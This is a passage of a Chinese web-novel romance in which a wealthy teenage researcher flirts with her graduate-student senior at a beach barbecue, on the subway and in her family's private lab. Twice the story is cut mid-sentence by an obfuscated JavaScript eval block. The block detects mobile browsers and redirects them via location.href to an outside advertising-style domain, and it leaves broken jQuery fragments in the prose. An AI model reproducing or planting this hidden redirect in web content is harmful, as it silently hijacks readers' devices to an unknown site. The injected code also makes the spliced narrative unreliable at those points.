“你等着。”倪旖恨恨口气。 “我等什么?又不是给我找对象,关我毛事。”老板懒得搭理这屁小孩。 “我要向你证明我很有魅力!”倪旖气鼓鼓。 老板直接无视,连正眼都不给并且回赠讽刺:“狗急跳墙?快成年还母胎单身。” “不是,我一定追到他的。”倪旖冲他毫不留情的背影大喊。 “追谁啊?”蒋商鉴刚回来呢,远远就笑着问。 一瞬,倪旖脸颊跟猴屁股似的,还嘴硬:“追前男友啊。” 老板这时依旧发挥作用,说风凉话:“你是闲着,还是吃饱了撑着?” “日子过得太寂寞,就容易想前男友——”倪旖一见他回来便收声,还古灵精怪补充道,“……们。” “……”蒋商鉴嫌弃得笑意藏都藏不住。 倪旖捕捉他情绪变化,故意道:“我要跟前男友们说些什么呢?总不能正大光明去约吧?” “你随便说什么,天气,太阳,好吃的,啥玩意都来点。”蒋商鉴莫名其妙。 “是不是太随意了?”倪旖装作若无其事。 老板白了一眼,淡淡道:“你现在说啥在他们眼里就一句话‘我已经走投无路了’,贱不贱啊你。” “你才贱。”倪旖不乐意。 “你跟他闹掰留啥了?”老板这下来了劲,把鳕鱼一放。 倪旖偏偏死鸭子嘴硬:“留了条活路。” “上次说成长成长,你成长什么?跟老棺材瓤子似的。”老板嘴丝毫不留情。 蒋商鉴没说话。 倪旖不情愿:“你还天山童姥呢?” “这顿结账,别来赖着,之前几百顿也一块结。”老板不惯着她这小傻逼。 “干嘛全找我?又不是我一个人吃的。”倪旖咀嚼完小鸡翅傲娇道。 蒋商鉴被点,握着手机便要扫码:“这顿我结。” “跟你没关系,我跟她的仇。”老板打断他动作。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222309|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 倪旖直接踩着绵软的细沙跳起来,两步并一步,握着拳头,死死锤着烧烤老板。 老板也不还手,就这么笑嘻嘻的。 倪旖揍人弄得满头汗,抬手揩了一下,气呼呼坐在烧烤塑料凳上。 “哝——”蒋商鉴将冰水往她那边推推。 倪旖为了缓解莫名其妙起来的情绪而造成的尴尬,挤出个坚硬的笑:“在我刚出生时,这老板,也就是我哥,高兴得连吃19个大包子,撑得肚子疼。” “他年纪很大?”蒋商鉴又瞅了一眼忙着撒烧烤料的老板,“……亲哥?” “比我大十三岁,我在国外是住他家的大house的,他父母亲在国外工作,他有弟弟妹妹,我爸跟他爸很熟的,是大学室友,别看他现在油腻猥琐,人还是加州大学数学博士后呢,后来崇尚虚无主义,我爸就给他弄回来散心,他就意识到他以前的心情郁闷纯属就是适应不了难吃食物。” 倪旖随便说。 蒋商鉴满眼敬佩看着烧烤摊老板。 “其实,你很让我失望。” 倪旖以为十二岁参加树人计划的男孩一定聪明到疯癫,也不过如此,他比普通还清醒努力。 蒋商鉴被刺痛,也没法说。 倪旖啃着鸡腿嘟囔:“高中生和大学生还是有很大区别的,高中生一般无论成不成熟都会装成熟,大学生傻气从灵魂外溢,你这博士还呆呆的。” “……”蒋商鉴将她啤酒没收,咳嗽一声问,“你银行卡密码多少啊?” “45——”倪旖没说完话就被他捂嘴只能呜呜呜。 “喝点果汁解酒,傻子。”蒋商鉴觉得好笑,迅速将塑料吸管塞她嘴里。 倪旖不说话慢慢吸果汁,就跟植物似的汲取养分,表情乖乖的。 “Tim,你过来一下。”拐角沙滩桌有个深蓝棒球帽男的朝烧烤摊老板招手。 “哦。”Tim放下一串铁签擦擦抹布就走过去,“干嘛?赖账啊?” “我们是好哥们吧?接下来几个问题请如实回答。”棒球帽严肃道。 “哦。”Tim表情有点无语,嫌弃要命。 “她经常来吃烧烤嘛?”深蓝棒球帽凑过来小声问,用签子指着倪旖方向。 “嗯。”Tim懒散叉腰,微微蹙眉,余晖耀眼得厉害。 “她叫什么?”棒球帽继续问,手机页面停留在联系方式输入界面。 “哈?”Tim不详预感更加强烈。 “她电话你知道嘛?”棒球帽点开输入数字九宫格输入法界面。 Tim冷脸,僵硬声音:“她没手机。” “那她微信好友呢?”棒球帽瞅着木桌上贴着亚克力牌扫码点单社交软件小程序推荐。 Tim脸都发黑,冰冷威胁道:“没好友!” “企鹅呢?”棒球帽蹙眉,继续问着,那APP界面切换一个又一个。 Tim牙齿咬得咯咯作响,不耐烦道:“没!” “这年头没微信的人还挺少的。”棒球帽难以置信感慨好一番,过几秒才意识到被耍,背刺般失望捂着胸口,“我们是好兄弟啊,不带这样滴。” “你有病吧?敢靠近我妹你以后就不会是我好兄弟,记着啊。”Tim红温,血压瞬间爆表,攥着拳直接给他胸口来俩下重的,差点把人捶死。 “你妹啊?”棒球帽被捶到发愣,捏着一颗羊肉串出神咀嚼着。 “不然?”Tim又威胁似的拍拍他肩膀,随后回到烧烤架前时刻关注着,那眉头蹙得跟打结似的解不开。 吃完烧烤,倪旖心满意足就准备打车回去。 “坐地铁吧。”蒋商鉴叹息。 “现在下班点好多人吧?”倪旖脸颊微红。 “出租很挤的,至少得一小时,地铁不到十分钟。” “嗯。” 倪旖双手插兜观看地铁安检物品,微靠在不锈钢扶手栏杆,那CT投射阴影交叠,探着脑袋好奇道:“姐,榴莲几房啊?” “我瞅一眼。”地铁姐着实过一把医生的瘾,眯眼仔细判断,喃喃细语,随后兴奋道:“五房。” “姐,你真牛。”倪旖比个大拇指夸赞,迫不及待就徒手掰榴莲,因为很熟一掰就开。 地铁姐瞳孔放大,颤着声:“地铁不让拆刺激性物体,你得包好。” “我瞅瞅几房。”倪旖说罢,拎着榴莲塑料袋去门口散风处,一房一房徒手掰开拆看,铁砂掌似的。 倪旖将塑料袋扎紧,老远就小声喊道:“真的五房唉,好厉害呦。” 蒋商鉴真的无可奈何。 “师哥,好多人啊。”倪旖头皮发麻。 在等待时间内,俩人终于挤进地铁里。 倪旖贴在他胸口,在启动时毫无意外搂着他腰,鼻腔里满满都是他身上的洗衣粉味还有皮肤组织分泌物味道,混合起来还不错,像圆润温和的玉制品触感。 “抱紧。”蒋商鉴微躬身,将人护在怀里。 倪旖能够捕捉他每分每秒细若游丝的喘息声。 “有什么事嘛?”蒋商鉴感觉自己快被倪旖布灵布灵的小眼神闪瞎。 “往下一点点,我要小声说。”倪旖语气甜腻腻。 蒋商鉴微低下脑袋。 倪旖用手势示意他再低一点。 蒋商鉴跟随旨意再低一点。 “师哥,你好香啊。”倪旖踮起脚尖小声凑到他耳朵下面,就算他俯下身可还是根本就没法碰到他耳垂。 “……”蒋商鉴没法回应,就红着脸躲避那灼热感。 “师哥,你有没有女朋友?”倪旖用口型问。 蒋商鉴躲避视线,根本就没看到,所以没回应。 倪旖一颗心哇凉哇凉,恼火:“现在不香了。” “……”蒋商鉴脸色微变。 倪旖猜测蒋商鉴上学时很多人给写情书,但就算不喜欢当然不会像无脑小说里的主角一样撕掉或是扔了,他肉眼可见的家教和涵养都不允许。 现在表白估计会被特殊对待,用十足礼貌来拒绝,会得体跟你说谢谢,然后拒绝。 幸好幸好,没听见。 8. 幼稚 蒋商鉴脸依旧很红,一直持续到骑共享电瓶车带倪旖。 “冰——糖——葫——芦——儿——!” 熟悉吆喝声闯进耳朵里,倪旖心亮一下,沿街吆喝小贩的好吃,糖葫芦儿专卖店贼贵还难吃,也没进去欲望。 虽说冬天糖葫芦盛行,但夏日要是冷藏一番,味道也还不错,搭配着冰工厂山楂味冰棍,整个夏天都很惬意呢。 “大爷,我来一串。”倪旖忽悠蒋商鉴给她放下来。 “要山里红的还是麻山药的?”大爷那小摊子还算高级,有冷藏箱,淋着糖液不会化掉。 “山里红的吧!”倪旖俩都想要。 红彤彤山里红外面裹着晶莹剔透糖稀,再外面一层是糯米纸,倪旖高兴得拿在手里一颤一颤的。 倪旖递给蒋商鉴:“吃吧!” 蒋商鉴很纳闷,不敢轻举妄动,幽幽道:“你不吃啊?” “你吃一口啊。”倪旖有点懵。 “我骑车,没法吃。”蒋商鉴拒绝她忽悠,她鬼点多,坏透了,黑心肠。 倪旖坐后车座上,咬一口嘎嘣脆。 “甜得牙痛。”倪旖笑嘻嘻。 蒋商鉴被说着都有点馋,在前面假装听不见。 倪旖存心逗他玩,用指尖戳戳他腰窝,鬼兮兮勾搭,笑道:“你就不尝尝?” 蒋商鉴还是要点脸,既然说不要,那就忍着,想要还矫情观感不好,牙关咬得很紧,忍耐力绝对杠杠的。 好一会儿,倪旖叽里咕噜品尝糖葫芦还谈感受逗他玩。 几分钟死动静后彻底不说话,嘴里动静全给糖葫芦儿,听起来酥脆可口。 蒋商鉴心都痒痒,被小猫爪子挠挠似的,本来不馋,就她故意跟吃播似的咬得嘎嘣脆,他就偷偷搁前面数个儿,一个、两个、三个……貌似只有八个,好像快没了。 再这么硬撑,真啥都没。 蒋商鉴骑上一条直行道,细细吞咽着,还是决定忍着,不是小朋友,怎么说话跟放屁似的。 正想着,就感觉肩膀被拍一下。 蒋商鉴习惯性头侧过去,那串从大到小整齐排列的山楂就这么摆嘴边。 倪旖光顾着把小的吃掉,大的全留给他。 蒋商鉴难得觉着被倪旖当人看。 也许不仅仅是人。 可能是还算满意的朋友。 又或者是倪旖礼貌,他算不上人。 “再来一个!”蒋商鉴试探。 倪旖假装护食,嘟囔:“没了。” “再来一个嘛!”蒋商鉴连语气都好些,就顾着跟倪旖玩笑呢。 “没了呀。”倪旖随时这样说,还是将糖葫芦喂他,给他最大最红最甜的。 “倪旖,应该有很多男孩子喜欢你的吧?”蒋商鉴莫名提问,等反应过来有点窘迫。 倪旖没说话,指尖紧紧攥着那个被体温传染的温热糖葫芦木棍。 “我就……”蒋商鉴尴尬扭过头,略微表示歉意。 “师哥,”倪旖甜甜一笑,抬手用拇指腹擦掉他左上唇角的芝麻粒,“那当然,可多人暗恋我呢。” 蒋商鉴赶紧恢复目视前方姿势,只是呼吸时带动胸口衣衫,上下起伏更剧烈了。 如果此刻有风,倪旖心里小情绪就会轻轻翻动,犹如被海风涨潮带来的小海星。 背着夕阳,浮在海面帆船仿佛剪影画,小船晃得海面波光粼粼,倒影里的暗红高塔无限闪烁。 停好车后,蒋商鉴放慢步伐,眺望风景。 倪旖和他面对面吃着红豆冰山,透明碰撞的冰块声击碎白花花夏日天空。 海滩木质围栏两端就像是开满花的堤岸,藤在疯长,玫瑰不断伸展身躯,盘旋着,彼此缠绕,就像是花朵绿叶组成的凯旋门。 他,看上去有种骚得合不拢腿的感觉,吃完冰沙后,连呼吸都沾染一丝一毫凉意,想着想着,倪旖就困得神志不清,拼命撑住眼皮别软绵绵耷下去。 “你家得多有钱,海景别墅庄园。”蒋商鉴垂眸时眼皮有些笑意。 隔着海面那店霓虹灯或粉或蓝地闪烁,酒馆和可疑店铺招牌比平时更亮,裹着圈朦胧的光晕。 倪旖摸摸脸颊,防止站着睡着,迷迷糊糊道:“你家不是吗?” “……”蒋商鉴一愣,神情幽暗,缓缓道,“我家该是嘛?” 回家后,被甩脸子的倪旖有点懵,连瞌睡都吓没,鼓着张脸,盘腿坐在沙发上托腮思考,食指指尖一下下规律地敲打着脸颊。 结果蒋商鉴轻描淡写翻过一页书,视线随之转过去,眼皮也懒得掀:“有话就说,老这么憋着,不怕憋坏了?” “……”倪旖心一下子提嗓子眼,噗通噗通直跳,舌头微微打结:“你你你……你是不生气了?” 蒋商鉴抬头看她一眼,哂笑:“我看着像生气嘛?” “看着像仇富。”倪旖低声嘟嚷。 倪旖走进厨房,打开冰箱,将晚餐减肥套餐,就是水煮土豆和蔬菜沙拉,端着盘子走到客厅,在沙发上坐下。 蒋商鉴看起来没什么太大反应,只微挑了下眉,又恢复到微微困倦模样,狭长的眼盯着她。 倒计时,5、4、3、2、1 看了五秒,倪旖对着他打了个大大的哈欠。 “……”蒋商鉴有点无语,直接看到她蔷薇色的口腔,见她微微抬着下巴,视线从半阖眼皮下流泻,凉飕飕的,让他突然有点不自在。 我是长得十分催眠还是咋? “我看到尊容,”倪旖靠着沙发懒洋洋半趴桌上,手背撑着脸,神情没什么变化,看起来无波无澜,“……感激。” 让人感激的脸? 很迷糊情况。 然而在蒋商鉴看来,此刻的倪旖就像个神经病,他抽抽嘴角,声音懒散戏谑:“困到胡言乱语?” “师哥,不生气嘛?”倪旖笑嘻嘻亮出鬼脸,模样傻得过分,蒋商鉴没憋住,“噗”地喷笑,一脸“糟了”的表情移开视线。 蒋商鉴朝向侧面,抬手在脸旁筑起墙壁,免得她变形脸进入视野。 “你笑了。”倪旖笑得晕乎,凑上前嗅嗅气味,“这是师哥的味道啊。” 倪旖用空调被盖住脸,发出“嘶—哈—”的吸气声。 不到一分钟,吸气声就变成了安稳呼吸。 蒋商鉴被吓得一愣一愣,等她休息才松口气,等会儿得回校,学校老师还在和倪旖母亲聊天呢。 真的不到五分钟,倪旖就醒了。 表现为,疯癫。 “我得去搞屎去,超过时间就臭掉了。”倪旖拍拍脑壳猛地甩开空调被,磕磕绊绊的。 蒋商鉴微微发愣,先是看到一截纤细白皙的脚踝,趿着拖鞋。 “师哥,你忙嘛?我需要你帮助,我水的小课题关于虾源罗伊式粘液乳杆菌。”倪旖低头换好鞋子,将发圈攥着将头发扎起来。 “……”蒋商鉴稍显疑惑,“你现在搞水产生物领域科研项目啦?” “算不上,屎上雕花,简单来说,筛选一株防治水产致病菌能力强的虾源乳酸菌。”倪旖一股脑说着。 蒋商鉴十分懵圈,她都没上大学啊,这么小就搞科研嘛,卧槽,这这这……一般学阀家族不是压榨学生写论文充公? “前面那半截地下室就是我家实验室,大型检测设备,一般实验耗材都有,咱一起去吧。”倪旖说罢,等在门口。 温柔余晖,柔和勾勒着她身形,随意绑起来的高马尾,刚过膝的白色连衣裙,短棉袜,露出发白的脚踝。 “水产细菌方面一般是我妈不要的课题给我研究,生物细胞方面有疑惑是找我爸同门指点迷津,都了解点,但我觉得分子合成挺难的。” 倪旖轻飘飘道,绝不居功自傲。 蒋商鉴就被她逮去实验室做苦工。 犹记得大三稳保本校后,蒋商鉴用一周末把本专业研究生论文看一遍,一言难尽,好多论文要是他搞出来的,他都不好意思署名。 很屎。 可还是保研。 现在都习惯搞屎。 进来先是安全疏散图。 旁边是仓库,液氮罐等等。 倪旖扫指纹进来。 “每个门都有指纹解锁,等会儿给你录进系统,我们先去缓冲区戴鞋套,换衣裳。”倪旖进入第一缓冲区,动作熟稔去穿戴衣裳,拉开第二缓冲间门,里面有个四度展示柜。 蒋商鉴跟着她,恍如逛大观园感。 不是没去过。 只是私人实验室,很稀有。 维护实验耗材,废弃物处理就很麻烦……审批很艰难。 “细胞间有仨台,这边是光学显微镜和荧光显微镜,四个培养箱,一离心机,还有桌面小型仪器,先开紫外,直接进细胞间。” 倪旖边走边介绍。 “四个培养箱,两台显微镜,还有挺老的电转仪,那边是玻璃安全门,要火灾啥的不用原路,直接走这儿逃。” “这是通风橱,有毒或挥发性试剂相关实验在这里,比如提RNA或裂蛋白的时候会操作。” “实验台两条,我爸我妈做实验可能来一趟,那边PCR仪器,天平,烘箱,Nanodrop,qPCR仪,离心浓缩仪,酶标仪,超声仪。” “这超净台主要搞RNA和蛋白相关的,我妈主业有这个,我略微了解。那是金属浴,这边紫外交联仪,吸引泵,桌面离心机,摇床,冷冻离心机。” “那四度冰箱存放试剂或者buffer,双开门,那负二十很满。” “那边做western的地方,那边是跑DNA胶,显影区啥的。” “建库区咱先不去,主要是单细胞RNA-seq还有ATAC-seq之类的,超净台显微镜冰箱都有,建库流程都全套,防止跑来跑去会污染。” “外面就是液氮罐和负八十以及负四十冰箱,都是提篮装存冻盒,我在负八十冻两年细胞,估计存活率差。” “四度储藏室,放置些培养基。” “细菌间,暂时不去,摇床啥的都有。” 蒋商鉴瞠目结舌。 “自便,或者看我干活。” 倪旖穿戴好实验服,推着护目镜,垂眸时专心致志摆弄培养基,分别从冻干管中取出至相应最适培养基平板上复苏,活化。 蒋商鉴则是挑取单菌落接种在相应液体培养基中,37℃摇床振荡培养至对数生长期,采用平板计数法进行细菌计数。 最后,俩人将菌悬液4℃冰箱保存备用,临用前用生理盐水稀释为1×108CFU/mL。 “小孩姐,付我点工资?”蒋商鉴甩甩手,彻底对倪旖这个学阀家族闺女改观,她搞科研很熟练,不像是装的。 倪旖蹲在拐角处喂小白鼠吃粮食,啾啾两声,跟快乐小麻雀似的晃悠着肩膀,笑道:“下次我给你干苦力。” 罗伊氏黏液乳杆菌SAMMRS·1G的动物安全性试验得取30只昆明种小鼠,雌雄各占一半,基础饲粮预饲1周后随机分为5组,其中1组为对照组,其余4组为试验组。 “也行,”蒋商鉴眼里满是欣赏,卸下实验服清洁好后顺手从兜里掏出便携药盒,倒两颗白药片就水吞,把水瓶拿手里转了转,抬头问道,“怎么会喜欢生命科学?” 倪旖攥着只小白鼠撸毛玩,那小白鼠真的很可爱,尾巴粉嫩嫩的,胡须长长的,轻轻回答道:“喜欢不需要原因的。” 蒋商鉴微微错愕,淡笑道:“听着有点假。” 倪旖笑得鸡贼:“爸妈资源需要继承,恰好生物挺有意思。理论生物就很无聊,所以养点鱼找点乐子。” 蒋商鉴蹲地板上,抬手摸摸笼子里小白鼠,还以为蛇鼠一窝,那么多烂杏一筐,找个好的也就倪旖小朋友。 比小老板那蠢儿子好多了。 “呐,这个大。”倪旖给他挑个伙食不错的一般化老鼠,双手捧着拎过来。 “……”蒋商鉴躲躲,“谢谢。” 心道:还挺乐于助人。 倪旖自言自语:“小鼠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222310|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还行,牛蛙是真你妈难杀,我拿个毁髓针左戳右戳就尼玛死活不死,气得我恨不得直接给它扔地上掼死。” “啊?”蒋商鉴愣神。 “就好奇毁髓步骤,练练。” “……” “我带你去机房溜达。”倪旖洗洗手攥着他衣袖连拖带拽邀请。 “机房?”蒋商鉴低估想象力。 “地下室玩电脑安静,凉快~”倪旖淡淡道,随后坏笑,“主要是拥有藏宝阁般私有领地所属权感觉,特别像爱丽丝漫游仙境掉进去的兔子窝,特有意思。” “啊?”蒋商鉴挺腻味儿。 这凡尔赛~ 着实很欠揍。 一提到这种,呶呶不休。 蒋商鉴一身反骨,非得找茬:“你电脑多大内存?” 倪旖思索片刻:“2T吧。” 蒋商鉴礼貌纠正:“我是说运行内存。” 倪旖倒是疑惑:“没错啊,运行内存,2t多啊。” 蒋商鉴继续强词夺理:“我是说运行内存,ram,不是存储。” 倪旖真是不解,再次强调:“对的啊,ram内存2t多一点。” 蒋商鉴见状也不折腾,一副胜券在握模样,无奈道:“宝贝儿,行了吧,你根本不懂电脑哦。” 宝贝儿,带点儿化音,就是贬义。 跟小SB一个意思。 极端情况气笑了就这么称呼。 倪旖微微翻白眼,淡定解释:“不是我不懂电脑,是你不够有钱。” “那你这花多少钱?”蒋商鉴窘迫不安,感觉这小暴发户跟他来真的。 “还行,固态硬盘一百出头。” 还没说单位。 还没说其他的。 这情况必有专属服务器降噪机房。 “……”蒋商鉴淡淡道,“你干脆机箱都弄钻石加黄金定制。” “不是啊,”倪旖一本正经怼人,很真诚解释,“太差劲的扫雷都卡~” 倪旖抿嘴想到男生爱打游戏,都老识货,得搞点有意思的才留得住喜欢的男孩,不然他一直嫌弃游戏服务器锁帧。 可回国后,这个游戏机房还没男孩光临呢。 等玩够了,倪旖起身道:“先回家吧,那还要18到24小时培养呢。” 蒋商鉴点点头,出去后将口罩收拾好搁在废物垃圾分类桶里,熟稔叠好白大褂。 倪旖见他弄得工整,便随手自然给他实验服。 “……”蒋商鉴接过衣裳挂好。 倪旖一转身,正正好好地撞在他胸口,硬得和石头似的。 倪旖揉着额满脸责怪的表情抬头,却见蒋商鉴拿出右手比了比,手心滑过她的脑袋,落在他胸口,比个子。 倪旖愣了愣,随即反应过来:“不用你提醒我矮!我比你小好不啦?还会长高的!” “小几个月而已,你不长了。”蒋商鉴撇过脑袋,微抬眸看向海岸线方向,灯塔正好,余晖点亮他棱角分明的侧脸,一阵夜风刮过,笑容便仿佛被微风化开一般在脸上荡漾开来。 倪旖清洁好手,便去门口坐着,忽然想到什么似的,攥着他手掌拉着他去标本室,用指纹扫开锁。 蒋商鉴只是被攥着有点别扭。 她也太自来熟了。 “倪旖。”蒋商鉴放慢步速。 她停住脚步,抬眸。 “你为什么对我这么好?”蒋商鉴迟疑片刻,目光如炬等着答案。 那眼神,就像饿久了的男的,突然看到一碟热腾腾的红烧肉,那么饥渴。 他是很缺爱,怎么随便一个人不经意的善意都让他久久不能平息? 想着倾尽全力报答嘛,掏心掏肺那种。 他父母一定不太好。 倪旖踮脚尖,搞怪做个青面獠牙般的鬼脸,甜兮兮转移话题:“我天生热情。” 蒋商鉴没再咄咄逼人。 倪旖拉他手继续走,只是那人有点坏,拉不动,牛劲儿都使出来,脸颊憋得通红。 她觉得鞋底摩擦地板快冒烟了。 看来师哥不太满意她的回答。 倪旖突然笑了。 “师哥,你好幼稚啊。” 蒋商鉴抬起闲置左手擦擦她鬓角薄汗,眼里浓浓笑意,很像棕色椰子糖,就算化开也腻得牙痛。 倪旖不晓得为什么,被他碰过皮肤就很想躲开。 明明很期待这双漂亮手指替她做些什么。 “走吧。”倪旖晃晃他手。 蒋商鉴本来情绪都很高涨。 只是看到那一罐罐生物标本时,微微错愕,将目光挨个扫过玻璃,蒋商鉴印象最深的是同卵双胞胎胎儿标本,是两男孩,足月,轻轻相拥悬在溶液里。 连表情都很安详,甚至有一种浅笑就好像是睡着了。 蒋商鉴默然,一会儿才道:“我之前是医学生,大一寒假期末,被要求去医院取无脑婴儿做标本。” 倪旖轻轻攥紧他手掌,感受他微微凉意蔓延开,还带着寒颤似的小幅度抖动,他眼神抗拒,幽深,宁静。 “我去医院,把无脑婴儿装到一个铁罐子里准备带回实验室。” “无脑婴儿先天畸形,基本出生后很快会死亡,但却不代表立即死亡。” “我正走半路呢,婴儿突然撕心裂肺哭,声音愈发大,怎么也制止不了。” “我坐的末班公交,容器里婴儿越哭,周围看的人就越多,哭得越厉害,周围人指指点点的就越多。” “我逃也似的下车,那条路真的好长,雪根本掩盖不了啼哭痕迹,终于坚持到实验室,就决定弃医从生物。” 蒋商鉴平静叙述,就像讲一个睡前故事,恍然之间,错愕到觉得他似乎也被禁锢在这些瓶瓶罐罐里,像个睁不开眼睛的标本婴儿一样被周遭情绪温养。 这情绪,连一点浮尘都无法惊掠。 蒋商鉴投射的那眸光黯淡。 却一种如海绵充盈那样的吸收。 将那些标本锁眼里。 9. 搞屎 倪旖试探性用手指缓慢勾着蒋商鉴腰侧,轻轻拍拍他后脊骨,这本该有些暧昧的小动作,此时却满是安抚味道。 “我很难去形容那种静谧安好的嘈扰,好像有种黏糊糊的情绪攥揉在细雪里砸在我的脸上,那些渐渐平息的呼吸似乎慢慢开始很遥远,但一丝一毫趋近于无的音贝落在我面前时瞬间变成了满地死麻雀。” 蒋商鉴依旧平静。 妈呀,我语文不好啊,哥们,你丫说得那么诘屈聱牙,根本就不懂啊~ 倪旖不是不想用语言安慰。 是词穷,是没文化…… 早知道多读点国文。 蒋商鉴眼里暮色渐浓,犹如灰色潮水,涌上来,淹没她,在幽暗中。 她有点痛,莫名的。 倪旖自嘲多少是个理性人。 但骨子里就害怕失控感。 现在,内心卷起一场海底暗流,连海啸都不小,这样悄无声息,这样声势浩大,理智被蓬勃而出的感情卷得不留一丝痕迹。 这是很可怕的,有一种中邪感觉。 倪旖迅疾蹙眉,企图遗忘这种不妙的情绪,能快则快,不快点会倒霉的。 会很倒霉。 很倒霉。 可他那股坚毅,孤傲的破碎感确实挺符合她莫名其妙的择偶标准。 兽性在此刻不必解释,那就类似于一只红屁股猴子大清早日树,没区别。 真不怕害臊的,她在想蒋商鉴那么容易害羞,能接受聊天,那种聊天~ 就那种~ 倪旖诧异,她居然,居然……打住自我怀疑,标本室两人平缓呼吸仿佛翅膀扇动的声音。 连她也没控制,那眼神就跟一滴胶质粘液似的,是蜘蛛清晨无意拖曳半透明细丝,落下来,啪嗒,细微蠕动。 “师哥——”话未说完就被打断。 “房地产商不准在住宅区搞实验吧?”蒋商鉴很迷惑。 “这片海滩都是我爸的,找个由头符合安全规范,打点打点就行。”倪旖随意道,深谙此道。 “不是卖鱼的?”蒋商鉴幽幽道。 “……”倪旖淡淡解释,“搞实业赚不了大钱,资产占大头,金融股市泡沫经济,近些年主要网络通信人工智能这些新兴产业,房地产唱衰太明显。” “……”蒋商鉴微蹙眉。 “不懂没事,你要缺钱,我给你指两股票,我给你担保,赚一番。”倪旖依旧随意,神情松弛。 “你有发论文嘛?”蒋商鉴顺势坐一边,硬核转移话题,他缺的是本金,果然有钱人松弛感来自有钱,没钱人松弛感来自贱命一条。 两人对视着,倪旖坐在散发余热的台阶上,将自己毫无斑污的干净双手交叠在膝上,草丛里的蛐蛐儿在叫嚷。 “有。”倪旖低调道,妈妈不准她太招摇,容易招嫌,实则她都快憋疯。 蒋商鉴眼里全是佩服和欣赏,思索瞬间模模糊糊一闪光,蹙眉问:“你用你母亲单位在nature上发表过论文?最近一期,我记得是HSPC穿梭机制,斑马鱼胚胎那个。” 倪旖都快乐开花,骄傲得很。 “妈妈帮助?”蒋商鉴难以相信,低低地笑起来,语调微微上扬,好整以暇等着。 很委婉提出,是不是妈妈给的? 最直接解释就是质疑她文章都是家长找抢手,捉刀代笔。 倪旖一愣,心情瞬间糟糕。 这个脱口而出甚至不那么正式的质疑痛苦地啃噬着她的心。 倪旖终于垂下头去。 啪嗒啪嗒。 大颗的泪珠掉落到沙滩上。 倪旖全身都在发抖。 两只胳膊也在剧烈地颤抖。 倪旖头发一绺一绺贴在汗涔涔脸颊上,仿佛吞下了一块滚烫的石头。 抬眸时,昏黄的路灯斜斜打下来,他脸部轮廓被光影切割得分明而深刻,一半隐在暗里,另一半是病态白。 蒋商鉴察觉气氛不对劲,微微一愣笑道:“……我不是那个意思。” 倪旖微微低头,薄薄的唇抿成了一条锋锐的线。高空上晚风掠过,吹起她鬓边的发,苍白脸色上,一双眸子清澈如琥珀。懒得再废话,自顾自离开。 质疑学术造假这是对她的侮辱。 “我错了。”蒋商鉴连忙追上去,怕她真被弄哭。 蒋商鉴急得眼角渗出细密的汗。 谁都没有看见。 而走在前面的倪旖,紧紧皱着眉,和掉在脚边的泪水,同样也没人看见。 倪旖回头,眼圈微微发红,勾勾地盯着他看,那眼神笔直而执拗,仿佛婴儿看着自己世界中唯一的存在。 她怔怔的,听着他的话。 蒋商鉴一瞬间后悔打趣,天才就不是常人能理解的,质疑只会显得苍白。 可又很无奈。 想证明这批淀粉肠是死老鼠肉死鸭肉死鸡肉骨头淀粉搅在一起弄出的垃圾东西,吃一口立马升天,然后就在一批垃圾肠里面偏偏挑了那极少数的一根纯猪肉肠拿出来质检的…… 怎么做到的? 倪旖垂眸一粒泪掉落,眼眸子被路灯微醺光照得亮晶晶,嘴唇微微撅着。 蒋商鉴偷偷叹息,往前两步,微微俯下身,抬手给让他震撼的小孩姐擦擦泪水,那泪水就像烧灼的铁水似的。 “你可以质疑我人品,我无所谓,本来就没素质。”倪旖蹭蹭他手腕处,柔弱得如同洞穴中蝙蝠翅膀的窸窣声,显得更加可怜,带点哭腔道,“可是,搞屎,我是专业的。” 蒋商鉴略点敷衍,秒变小夹子嗓音,哄道:“对不起。” 黄昏的温柔和疲倦慢慢侵了过来,两个人交谈的声音渐渐地低了,浅淡地徘徊在空气里。 倪旖脸颊被灼烧似的滚烫,几乎就没法仔细思考,随便点点头:“你对我偏见?我能感受到。” 蒋商鉴眼里落寞都遮掩不住,松开手,走到前面不说话。 倪旖瞥一眼他背影,好像懂了些,他估计被导师压榨得厉害,甚至还有更毁三观的事在他身上。 最让蒋商鉴心烦的是权势阶层缺乏格调。很早就知道上层是被普遍称赞的。所有的过失、错误甚至犯罪,一旦涉及,就会被宽容对待。 她嘴巴里没有压榨,但只是她认识的。 有时候,怀璧其罪,你光是享有不对等资源就对普通人不公平了。 倪旖追在他屁股后,急促解释:“谨慎低调向来就不是我的脾气,而且就算现在,我什么品格都没有。” 蒋商鉴没搭理她,自顾自朝前走,慢慢接受不公状态。 只要是成长型还是能被大多数接受的,但前提是她要足够年轻。 倪旖现在足够年轻。 她在国外就有成就,回国才年纪稍大些。 人比较容易原谅年轻人犯的错,就算是无意识的错误,就算根本并不是她主观愿意的错误。 涛声依旧,海潮抚过沙砾轻柔摩擦脚底,还留有被太阳烘过的潮水余温。 倪旖为缓解情绪拢着衣襟走了数十个来回,往外套衣兜里装满了奇形怪状的彩色粉色奶酪色贝壳,再回过头去,蒋商鉴正斜倚着木质秋千架朝她轻轻笑。 他应该不气了吧,倪旖想着。 隔着颇远的距离,倪旖笑嘻嘻朝他挥了挥手,指手画脚比画,像是让他一起来。 “师哥!”她喊着,声音却飘散在海风里。 